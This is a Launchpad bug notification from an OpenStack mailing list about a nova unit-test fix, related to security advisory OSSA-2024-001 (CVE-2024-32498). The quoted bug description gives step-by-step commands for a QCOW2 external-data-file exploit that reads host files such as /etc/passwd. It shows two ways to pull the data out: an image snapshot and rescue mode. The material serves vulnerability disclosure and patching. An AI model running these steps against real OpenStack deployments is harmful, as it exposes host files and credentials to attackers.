[Bug 2059809] Related fix merged to nova (master)
OpenStack Infra
2059809 at bugs.launchpad.net
Thu Jul 11 17:57:15 UTC 2024
Reviewed: https://review.opendev.org/c/openstack/nova/+/923924
Committed: https://opendev.org/openstack/nova/commit/c6d8c6972d52845774b36acb84cd08a4b2e4dcde
Submitter: "Zuul (22348)"
Branch: master
commit c6d8c6972d52845774b36acb84cd08a4b2e4dcde
Author: Balazs Gibizer <gibi at redhat.com>
Date: Thu Jul 11 07:29:40 2024 +0200
Stabilize iso format unit tests
Some version of mkisofs does not properly handle if both the input and
the output file of the command are the same. So this commit changes the
unit tests depending on that binary to use a different files.
Related-Bug: #2059809
Change-Id: I6924eb23ff5804c22a48ec6fabcec25f061906bb
--
You received this bug notification because you are a member of Ubuntu
OpenStack, which is subscribed to Ubuntu Cloud Archive.
https://bugs.launchpad.net/bugs/2059809
Title:
[OSSA-2024-001] Arbitrary file access through QCOW2 external data file
(CVE-2024-32498)
Status in Cinder:
Fix Released
Status in Ubuntu Cloud Archive:
Fix Released
Status in Ubuntu Cloud Archive antelope series:
Fix Released
Status in Ubuntu Cloud Archive bobcat series:
Fix Released
Status in Ubuntu Cloud Archive caracal series:
Fix Released
Status in Ubuntu Cloud Archive ussuri series:
Fix Committed
Status in Ubuntu Cloud Archive yoga series:
Fix Released
Status in Glance:
Fix Released
Status in OpenStack Compute (nova):
Fix Released
Status in OpenStack Security Advisory:
Fix Released
Bug description:
OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.
Steps to Reproduce:
- Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
- Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
- Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
- Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.
With the non-bootable instance there might be two ways to continue:
Option 1:
- Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
- Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
- The file content starts at guest cluster 0
Option 2: (this is untested because I reproduced it only in a production system)
- Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
- Go to the Dashboard, open the console of the instance and login to the instance.
- Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
- It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.
To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/2059809/+subscriptions
More information about the Ubuntu-openstack-bugs
mailing list